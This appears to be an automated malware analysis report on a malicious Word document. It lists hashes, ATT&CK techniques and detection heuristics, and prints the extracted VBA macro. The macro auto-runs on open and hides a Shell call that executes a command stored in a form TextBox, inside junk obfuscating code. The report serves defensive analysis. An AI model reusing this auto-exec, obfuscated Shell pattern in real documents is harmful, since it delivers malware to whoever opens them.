Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 635595b0b1f97af9…

MALICIOUS

Office (OLE)

139.6 KB Created: 2018-12-19 14:03:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 8b86470947d6f81fc674bc5492781a48 SHA-1: f0af42b85dd070dc68a5e2b080337d355a2707c4 SHA-256: 635595b0b1f97af94086d1a2c1879ea1559ee829197c8a71eb7d5b504cd5d0d9
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes the AutoOpen function and includes a critical `Shell()` call, indicating an attempt to execute arbitrary commands. Heuristics also flag suspicious `cmd.exe` invocation, suggesting the macro is designed to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6789280-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6789280-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                  End Select
d696188177 = Array(Y9495401, i489208, z27690, Interaction.Shell(w2931879322.TextBox1, 97 - 97), J164042)
   Select Case L043
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
S828528
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4234 bytes
SHA-256: 7e139e2b9462b4f057ea2ecd4b6c77d1afe5dc67f405ca4b65071c5fa7c4f134
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "w2931879322"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
S828528
End Sub

Attribute VB_Name = "F504157582166"
Function S828528()
On Error Resume Next
   Select Case N880
         Case 163540884
u8595 = Z591
            h3256 = Tan(J8479 - Round(q2731) / 117085990 - Tan(E3090))
o332 = D0203
a088 = Round(J2011 * Chr(232950525))
         Case 229003349
w5110 = h520
            k0786 = 309502797
q0281 = A5190
            X2652 = Round(z037 + Tan(D4101 + Log(219358933) - Q425 / Hex(293330284)))
              End Select
   Select Case m279
         Case 62731905
Y6536 = z126
            Y6565 = Tan(k6007 - Round(f4544) / 273439633 - Tan(F5796))
r7667 = z6700
q420 = Round(M988 * Chr(275675658))
         Case 302627654
F735 = d979
            i4213 = 103293215
O0562 = Z6225
            o3185 = Round(z461 + Tan(J342 + Log(247091577) - q3061 / Hex(143622514)))
              End Select
   Select Case z333
         Case 278142640
B060 = V642
            J5345 = Tan(X856 - Round(X2389) / 244976571 - Tan(L2721))
m8294 = N9245
Q778 = Round(c9456 * Chr(269845024))
         Case 113720375
U702 = H147
            n1646 = 83814857
Q9866 = w541
            m220 = Round(m0247 + Tan(M597 + Log(340203135) - j2231 / Hex(219049898)))
              End Select
d696188177 = Array(Y9495401, i489208, z27690, Interaction.Shell(w2931879322.TextBox1, 97 - 97), J164042)
   Select Case L043
         Case 237715250
E652 = h4492
            p9450 = Tan(L2457 - Round(G344) / 93851411 - Tan(j6221))
A687 = A832
v398 = Round(F124 * Chr(276934974))
         Case 142065372
P973 = p365
            p2541 = 196534839
P8528 = H553
            Y0838 = Round(P9110 + Tan(A6035 + Log(260794178) - w164 / Hex(32355960)))
              End Select
End Function


Attribute VB_Name = "i6596672"

Attribute VB_Name = "d47136849568188"

Attribute VB_Name = "b077288836"

Attribute VB_Name = "R4543948080"

Attribute VB_Name = "O6685815422045"

Attribute VB_Name = "R10505115904448"

Attribute VB_Name = "s9330892"

Attribute VB_Name = "O4594886"

Attribute VB_Name = "p9554788"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "T30664853141588"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "b6680091"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "p6214910164951"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "w8848756336"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "O1566002003"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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